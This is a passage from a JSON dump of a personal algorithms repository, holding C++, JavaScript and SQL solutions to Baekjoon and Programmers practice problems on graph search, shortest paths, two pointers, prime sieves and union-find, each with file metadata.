},\n {\n \"alpha_fraction\": 0.4386920928955078,\n \"alphanum_fraction\": 0.4611716568470001,\n \"avg_line_length\": 19.690141677856445,\n \"blob_id\": \"0e14c5974c6bca22ba3be6b50b774ad0f4dba969\",\n \"content_id\": \"751fa441b2d07ebcf46a03b8e97994a882284c40\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1488,\n \"license_type\": \"no_license\",\n \"max_line_length\": 87,\n \"num_lines\": 71,\n \"path\": \"/BOJ/Dijkstra/18352.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 18352번: 특정 거리의 도시 찾기\\nDATE: 2021-02-25\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 300001\\n#define INF 1e9\\nusing namespace std;\\n\\nvector<pair<int, int>> graph[MAX];\\nint d[MAX];\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq;\\n pq.push(make_pair(0, start));\\n d[start] = 0;\\n\\n while(!pq.empty()){\\n int cost = pq.top().first;\\n int now = pq.top().second;\\n pq.pop();\\n\\n for(int i = 0 ; i < graph[now].size() ; i++){\\n int next = graph[now][i].first;\\n int nCost = cost + graph[now][i].second;\\n if(nCost < d[next]){\\n d[next] = nCost;\\n pq.push(make_pair(d[next], next));\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n priority_queue<int, vector<int>, greater<int>> pq;\\n int n, m, k, x, check;\\n cin >> n >> m >> k >> x;\\n\\n for(int i = 0 ; i < m ; i++){\\n int a, b;\\n cin >> a >> b;\\n graph[a].push_back(make_pair(b, 1)); \\n }\\n\\n for(int i = 1 ; i <= n ; i++){\\n d[i] = INF;\\n }\\n\\n dijkstra(x);\\n\\n for(int i = 1 ; i <= n ; i++){\\n if(d[i] == k) {\\n pq.push(i);\\n }\\n }\\n\\n if(pq.empty())\\n cout << -1;\\n else{\\n while(!pq.empty()){\\n cout << pq.top() << \\\"\\\\n\\\";\\n pq.pop();\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.38260868191719055,\n \"alphanum_fraction\": 0.4153846204280853,\n \"avg_line_length\": 20.68115997314453,\n \"blob_id\": \"4d7bbbd0cb0e20347cc2d86306888bbda422cba5\",\n \"content_id\": \"4c12d3aec0ce98165e176f957de05239346d55a5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1507,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 69,\n \"path\": \"/BOJ/BFS_DFS/2665.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 2665번: 미로만들기\\nDATE: 2021-02-25\\nBFS\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#include <string.h>\\n#define MAX 51\\nusing namespace std;\\n\\nint arr[MAX][MAX];\\nint visited[MAX][MAX];\\nint dx[] = {-1, 0, 1, 0};\\nint dy[] = {0, 1 , 0, -1};\\nint n;\\n\\nvoid bfs(){\\n queue<pair<int, int>> q;\\n\\n memset(visited, -1, sizeof(visited));\\n q.push(make_pair(0, 0));\\n visited[0][0] = 0;\\n\\n while(!q.empty()){\\n int x = q.front().first;\\n int y = q.front().second;\\n q.pop();\\n\\n for(int i = 0 ; i < 4 ; i++){\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx >= 0 && nx < n && ny >= 0 && ny < n && arr[nx][ny]){ //1\\n if(visited[nx][ny] == -1 || visited[nx][ny] > visited[x][y]){\\n visited[nx][ny] = visited[x][y];\\n q.push(make_pair(nx, ny));\\n }\\n }\\n else if(nx >= 0 && nx < n && ny >= 0 && ny < n && !arr[nx][ny]){ //0\\n if(visited[nx][ny] == -1 || visited[nx][ny] > visited[x][y] + 1){\\n visited[nx][ny] = visited[x][y] + 1;\\n q.push(make_pair(nx, ny));\\n }\\n }\\n }\\n }\\n\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n;\\n\\n for (int i = 0 ; i < n; i++) {\\n\\t\\tstring str;\\n\\t\\tcin >> str;\\n\\t\\tfor (int j = 0 ; j < n ; j++) {\\n\\t\\t\\tarr[i][j] = str[j] - '0';\\n\\t\\t}\\n\\t}\\n\\n bfs();\\n\\n cout << visited[n-1][n-1];\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4008714556694031,\n \"alphanum_fraction\": 0.4466230869293213,\n \"avg_line_length\": 14.333333015441895,\n \"blob_id\": \"0cb4573c036dc7b314c81c7c494b133abeb46a18\",\n \"content_id\": \"40d51bc43ca76a5cc5e723601cfaa135c6c06815\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 461,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Greedy/11399.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11399번: ATM\\n2021-03-29\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, time=0;\\n cin >> n;\\n\\n int arr[n];\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n sort(arr, arr + n); \\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j <= i ; j++){\\n time += arr[j];\\n }\\n }\\n\\n cout << time;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.45837321877479553,\n \"alphanum_fraction\": 0.4803827702999115,\n \"avg_line_length\": 19.115385055541992,\n \"blob_id\": \"45c626752d6bbb6b3e10d86e52d6a8cc43c690b8\",\n \"content_id\": \"26f317f589c550c9bb64ed973c22e949907621a7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1057,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 52,\n \"path\": \"/BOJ/Graph Theory/1717.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1717번: 집합의 표현\\nDATE: 2021-02-15\\nUnion-Find\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint getParent(int parent[], int x){\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent, parent[x]);\\n}\\n\\nvoid unionParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); 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cin.tie(0); cout.tie(0);\\n int a, b, d;\\n int ans = 0;\\n \\n cin >> a >> b >> d;\\n\\n int prime[b + 1];\\n char ch = d + '0';\\n\\n for(int i = 2 ; i <= b ; i++) prime[i] = i;\\n\\n for(int i = 2 ; i <= sqrt(b) ; i++){\\n if(prime[i] == 0) continue;\\n for(int j = i * i ; j <= b ; j += i) prime[j] = 0;\\n }\\n\\n for(int i = a ; i <= b ; i++) {\\n string str = to_string(prime[i]);\\n if(prime[i] != 0 && find(str.begin(), str.end(), ch) != str.end()) ans++;\\n }\\n\\n cout << ans;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4463452696800232,\n \"alphanum_fraction\": 0.48522549867630005,\n \"avg_line_length\": 14.707317352294922,\n \"blob_id\": \"5fdcf43acdfee96fdfa5686cf8cc91f2f6e249ae\",\n \"content_id\": \"e0715134fb6036452b233f3f42996ed0c668b92e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 647,\n \"license_type\": \"no_license\",\n \"max_line_length\": 64,\n \"num_lines\": 41,\n \"path\": \"/BOJ/BFS_DFS/15651.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15651번: N과 M (3)\\n2022-01-05\\nBacktracking\\n*/\\n#include <iostream>\\n#include <vector>\\n#define MAX 8\\nusing namespace std;\\n\\nint n, m;\\nvector<int> num;\\nvector<int> ans; \\n\\nvoid print(){\\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \\\" \\\";\\n cout << '\\\\n';\\n}\\n\\nvoid dfs(int cnt){\\n if(cnt == m) {\\n print();\\n return;\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n ans.push_back(num[i]);\\n dfs(cnt + 1);\\n ans.pop_back();\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++) num.push_back(i + 1);\\n dfs(0);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3421269655227661,\n \"alphanum_fraction\": 0.37922507524490356,\n \"avg_line_length\": 18.26984214782715,\n \"blob_id\": \"45876866444558b2f0b8eb4daa481cac95cff02a\",\n \"content_id\": \"2b19317e328c2a0456ebe92d44bd0d6aa0f9e623\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1239,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 63,\n \"path\": \"/BOJ/BFS_DFS/7576.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 7576번: 토마토\\nDATE: 2022-02-02\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#define MAX 1000\\nusing namespace std;\\n\\nqueue<pair<int,int>> q;\\nint m, n;\\nint arr[MAX][MAX];\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\n\\nvoid bfs() {\\n while(!q.empty()) {\\n int x = q.front().first;\\n int y = q.front().second;\\n\\n q.pop();\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || arr[nx][ny]) continue;\\n\\n q.push({nx, ny});\\n arr[nx][ny] = arr[x][y] + 1;\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int ans = 0;\\n cin >> m >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n cin >> arr[i][j];\\n if(arr[i][j] == 1) q.push({i, j});\\n }\\n }\\n\\n bfs();\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n if(arr[i][j] == 0) { // 익지 않은 토마토 존재\\n cout << -1;\\n return 0;\\n }\\n else if(arr[i][j] > ans) ans = arr[i][j]; \\n }\\n }\\n\\n cout << ans - 1;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3927038609981537,\n \"alphanum_fraction\": 0.42274677753448486,\n \"avg_line_length\": 16.60377311706543,\n \"blob_id\": \"7b919b6cc71f4697d7ef39806fe974284dc40381\",\n \"content_id\": \"df09991450e393f09adf0801f1cd1a684f1a19d1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 946,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 53,\n \"path\": \"/BOJ/Two Pointer/1644.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1644번: 소수의 연속합\\n2021-12-28\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <math.h>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n vector<int> prime;\\n int n;\\n int start = 0, end = 0, sum = 0, ans = 0;\\n \\n cin >> n;\\n\\n if(n == 1) {\\n cout << 0;\\n return 0;\\n }\\n\\n int arr[n + 1];\\n fill(arr, arr + n + 1, true);\\n arr[1] = false;\\n\\n for(int i = 2 ; i <= sqrt(n) ; i++) {\\n if(!arr[i]) continue;\\n for(int j = i * i ; j <= n ; j += i) arr[j] = false;\\n }\\n\\n for(int i = 2 ; i <= n ; i++) {\\n if(arr[i]) prime.push_back(i);\\n }\\n\\n while(end <= prime.size()) {\\n if(sum < n) {\\n sum += prime[end];\\n end++;\\n }\\n else if(sum >= n) {\\n sum -= prime[start];\\n start++;\\n }\\n\\n if(sum == n) ans++;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6214510798454285,\n \"alphanum_fraction\": 0.6585173606872559,\n \"avg_line_length\": 20.86206817626953,\n \"blob_id\": \"a34090eadfd8794190cd3d0f0d9a5247c03e76aa\",\n \"content_id\": \"d97d06a259741c215153b88e6a1da188c7448fbb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1364,\n \"license_type\": \"no_license\",\n \"max_line_length\": 98,\n \"num_lines\": 58,\n \"path\": \"/programmers/SQL/String, Date.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# String, Date\\n\\n**[1. 루시와 엘라 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59046)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME, SEX_UPON_INTAKE\\nFROM ANIMAL_INS\\nWHERE NAME IN ('Lucy', 'Ella', 'Pickle', 'Rogan', 'Sabrina', 'Mitty')\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[2. 이름에 el이 들어가는 동물 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59047)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME\\nFROM ANIMAL_INS\\nWHERE NAME LIKE '%el%' and ANIMAL_TYPE = 'Dog'\\nORDER BY NAME\\n```\\n\\n<br/>\\n\\n**[3. 중성화 여부 파악하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59409)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME,\\n CASE\\n WHEN SEX_UPON_INTAKE = 'Neutered Male' THEN \\\"O\\\"\\n WHEN SEX_UPON_INTAKE = \\\"Spayed Female\\\" THEN \\\"O\\\"\\n ELSE \\\"X\\\"\\n END AS '중성화'\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[4. 오랜 기간 보호한 동물(2) (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59411)**\\n\\n```sql\\nSELECT A.ANIMAL_ID, B.NAME\\nFROM ANIMAL_INS A, ANIMAL_OUTS B\\nWHERE A.ANIMAL_ID = B.ANIMAL_ID\\nORDER BY B.DATETIME - A.DATETIME DESC\\nLIMIT 2\\n```\\n\\n<br/>\\n\\n**[5. DATETIME에서 DATE로 형 변환 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59414)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME, DATE_FORMAT(DATETIME, '%Y-%m-%d') as 날짜\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.42514970898628235,\n \"alphanum_fraction\": 0.4565868377685547,\n \"avg_line_length\": 15.317072868347168,\n \"blob_id\": \"ce48eee024318602496c1f27dcb6ac37dc2d3ffe\",\n \"content_id\": \"e23b8cc1747152cc99e71cafd73337c871ef0466\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 678,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 41,\n \"path\": \"/BOJ/Two Pointer/2230.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2230번: 수 고르기\\nDATE: 2022-02-08\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m;\\n int start, end, minVal = 2e9;\\n cin >> n >> m;\\n\\n int arr[n];\\n\\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\\n sort(arr, arr + n);\\n\\n start = 0; end = 0;\\n\\n while(end < n) {\\n int diff = arr[end] - arr[start];\\n\\n if(diff == m) {\\n minVal = m;\\n break;\\n }\\n\\n if(diff < m) end++;\\n else {\\n minVal = min(minVal, diff);\\n start++;\\n }\\n }\\n\\n cout << minVal;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5655527114868164,\n \"alphanum_fraction\": 0.5938303470611572,\n \"avg_line_length\": 17.571428298950195,\n \"blob_id\": \"944ee0662e665b263d0aa64c8e82f0f03155c76a\",\n \"content_id\": \"91b22b4906353c94669c78ebbc16ef44cd41eac0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 411,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 21,\n \"path\": \"/programmers/Level 1/divisible_number_array.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 나누어 떨어지는 숫자 배열\\n2022-03-21\\n*/\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nvector<int> solution(vector<int> arr, int divisor) {\\n vector<int> answer;\\n \\n sort(arr.begin(), arr.end());\\n \\n for(auto i : arr){\\n if(i % divisor == 0) answer.push_back(i);\\n }\\n \\n if(answer.empty()) answer.push_back(-1);\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5655737519264221,\n \"alphanum_fraction\": 0.5901639461517334,\n \"avg_line_length\": 15.681818008422852,\n \"blob_id\": \"bbbda206e74f2f37ab5b32635cf77e0fbc30fb2e\",\n \"content_id\": \"6eb1da88c2519cb8b95d9c84f4798f36a6abb264\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 408,\n \"license_type\": \"no_license\",\n \"max_line_length\": 43,\n \"num_lines\": 22,\n \"path\": \"/programmers/Level 1/gcd_lcm.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 최대공약수와 최소공배수\\n2022-03-19\\n*/\\n#include <string>\\n#include <vector>\\n\\nusing namespace std;\\n\\nint gcd(int a, int b){\\n return b ? gcd(b, a % b) : a;\\n}\\n\\nvector<int> solution(int n, int m) {\\n vector<int> answer;\\n int res = gcd(n, m);\\n \\n answer.push_back(res); // 최대공약수\\n answer.push_back(n * m / res); // 최소공배수\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3871449828147888,\n \"alphanum_fraction\": 0.4275037348270416,\n \"avg_line_length\": 14.581395149230957,\n \"blob_id\": \"dc0f887e86f66ce5338ea9eb1efc7f5f3da2a995\",\n \"content_id\": \"74dc57f2ff1c7b2ffdafeaf5fb942644be5e496c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 679,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 43,\n \"path\": \"/BOJ/Two Pointer/3273.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3273번: 두 수의 합\\nDATE: 2021-06-01\\nTwo Pointer\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint arr[100001];\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, x;\\n cin >> n;\\n\\n int start = 0, end = n - 1, sum = 0, ans = 0;\\n\\n for (int i = 0; i < n; i++) {\\n cin >> arr[i];\\n }\\n\\n sort(arr, arr + n);\\n\\n cin >> x;\\n\\n while (start < end) {\\n if (arr[start] + arr[end] == x) {\\n ans++;\\n start++;\\n }\\n else if (arr[start] + arr[end] > x) {\\n end--;\\n }\\n else {\\n start++;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5264151096343994,\n \"alphanum_fraction\": 0.5584905743598938,\n \"avg_line_length\": 20.239999771118164,\n \"blob_id\": \"2c025ecc499aec55e5c0b4737434d965ec7f1e08\",\n \"content_id\": \"536a8475af2c8a80058fc2f69a7d9680a742b7f6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 536,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 25,\n \"path\": \"/BOJ/Implementation/5635.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 5635번: 생일\\nDATE: 2022-05-26\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n; \\n\\n vector<pair<pair<int,int>, pair<int, string>>> v(n);\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> v[i].second.second >> v[i].second.first >> v[i].first.second >> v[i].first.first;\\n }\\n\\n sort(v.begin(), v.end());\\n cout << v.back().second.second << \\\"\\\\n\\\" << v.front().second.second;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.35738831758499146,\n \"alphanum_fraction\": 0.38969072699546814,\n \"avg_line_length\": 20.101449966430664,\n \"blob_id\": \"d05f76d03b2e547b09b7b2a883511f660f3627a4\",\n \"content_id\": \"6b01d2aab9b19bae71a528dcb252ed0bd23c3b7e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1457,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 69,\n \"path\": \"/BOJ/BFS_DFS/1012.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1012번: 유기농 배추\\nDATE: 2021-10-25\\nBFS\\n*/\\n#include <iostream>\\n#include <string.h>\\n#include <queue>\\nusing namespace std;\\n\\nint arr[50][50];\\nbool visited[50][50];\\nint m, n;\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\n\\nvoid bfs(int x, int y) {\\n queue<pair<int,int>> q;\\n\\n q.push(make_pair(x, y));\\n visited[x][y] = true;\\n\\n while(!q.empty()) {\\n pair<int, int> cur = q.front();\\n q.pop();\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = cur.first + dx[i];\\n int ny = cur.second + dy[i];\\n \\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny]) continue;\\n if(arr[nx][ny] == 0) continue;\\n \\n q.push(make_pair(nx, ny));\\n visited[nx][ny] = true;\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int t, k, x, y;\\n cin >> t;\\n\\n for(int i = 0 ; i < t ; i++) {\\n int cnt = 0;\\n cin >> m >> n >> k;\\n memset(arr, 0, sizeof(arr));\\n memset(visited, false, sizeof(visited));\\n\\n for(int j = 0 ; j < k ; j++) {\\n cin >> x >> y;\\n arr[y][x] = 1;\\n }\\n\\n for(int j = 0 ; j < n ; j++) {\\n for(int k = 0 ; k < m ; k++) {\\n if(arr[j][k] == 1 && !visited[j][k]) {\\n cnt++;\\n bfs(j, k);\\n }\\n }\\n }\\n\\n cout << cnt << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3900826573371887,\n \"alphanum_fraction\": 0.42975205183029175,\n \"avg_line_length\": 23.239999771118164,\n \"blob_id\": \"d06d15ac011ca165246bef7699f95db26391a680\",\n \"content_id\": \"cee333d89aa8e7c9d469e70de4531090e2ee7936\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 605,\n \"license_type\": \"no_license\",\n \"max_line_length\": 73,\n \"num_lines\": 25,\n \"path\": \"/programmers/Level 1/push_keypad.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: Push keypad\\n2020 KAKAO Internship\\n2021-12-21\\n*/\\nfunction solution(board, moves) {\\n let answer = 0;\\n let stack = [];\\n\\n for (let i = 0; i < moves.length; i++) {\\n for (let j = 0; j < board.length; j++) {\\n if (board[j][moves[i] - 1] > 0) {\\n if (stack[stack.length - 1] === board[j][moves[i] - 1]) {\\n answer += 2;\\n stack.pop();\\n } else stack.push(board[j][moves[i] - 1]);\\n\\n board[j][moves[i] - 1] = 0;\\n break;\\n }\\n }\\n }\\n\\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3349548280239105,\n \"alphanum_fraction\": 0.36970117688179016,\n \"avg_line_length\": 21.5,\n \"blob_id\": \"6266134139d6b1b74aad188f3a51ab0b409f13b0\",\n \"content_id\": \"f8802503f8f3d5b07632ff0a1b3ac86f00a750ea\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1553,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 64,\n \"path\": \"/BOJ/BFS_DFS/17070.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 17070번: 파이프 옮기기 1\\n2021-12-20\\n*/\\n#include <iostream>\\n#define MAX 32\\nusing namespace std;\\n\\nint n, ans = 0;\\nint arr[MAX][MAX];\\nbool visited[MAX][MAX] = {false, };\\nint dx[3] = {0, 1, 1}; //가로, 세로, 대각선\\nint dy[3] = {1, 0, 1};\\n\\nvoid dfs(int x, int y, int dir) {\\n //d => 0: 가로 1: 세로 2: 대각선\\n\\n if(x == n - 1 && y == n - 1) {\\n ans++;\\n return;\\n }\\n\\n visited[x][y] = true;\\n\\n for(int i = 0 ; i < 3 ; i++) {\\n if(dir == 0 && i == 1) continue; // 파이프 가로 && 세로 방향으로 이동\\n else if(dir == 1 && i == 0) continue; // 파이프 세로 && 가로 방향으로 이동\\n else {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= n) continue;\\n \\n if(i < 2) { // 가로, 세로로 이동\\n if(!arr[nx][ny] && !visited[nx][ny]) {\\n dfs(nx, ny, i);\\n visited[nx][ny] = false;\\n }\\n }\\n else { //대각선\\n if(!arr[nx][ny] && !arr[nx - 1][ny] && !arr[nx][ny - 1] && !visited[nx][ny]) {\\n dfs(nx, ny, i);\\n visited[nx][ny] = false;\\n }\\n }\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < n ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n dfs(0, 1, 0);\\n\\n cout << ans;\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.49655961990356445,\n \"alphanum_fraction\": 0.517201840877533,\n \"avg_line_length\": 16.816326141357422,\n \"blob_id\": \"7fea9ec05dd7c573a6da6fe0efbe4d4a36be2b75\",\n \"content_id\": \"9ad0997e9d508a155bba2e7ec5348f77f661c5fd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 880,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 49,\n \"path\": \"/programmers/Level 2/find_prime_number.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 2: 소수 찾기\\n//2021-10-09\\n#include <vector>\\n#include <set>\\n#include <algorithm>\\n#include <iostream>\\n#include <math.h>\\nusing namespace std;\\n\\nbool isPrime(int num) {\\n if(num < 2) return false;\\n \\n for(int i = 2 ; i <= sqrt(num) ; i++) {\\n if(num % i == 0) return false;\\n }\\n \\n return true;\\n}\\n\\nint solution(string numbers) {\\n int answer = 0;\\n vector<string> v;\\n set<int> s;\\n\\n sort(numbers.begin(), numbers.end());\\n \\n do {\\n string str;\\n \\n for(int i = 0 ; i < numbers.size() ; i++) {\\n str += numbers[i];\\n s.insert(stoi(str));\\n }\\n \\n }while(next_permutation(numbers.begin(), numbers.end()));\\n\\n for(auto i : s) {\\n if(isPrime(i)) answer++;\\n }\\n \\n return 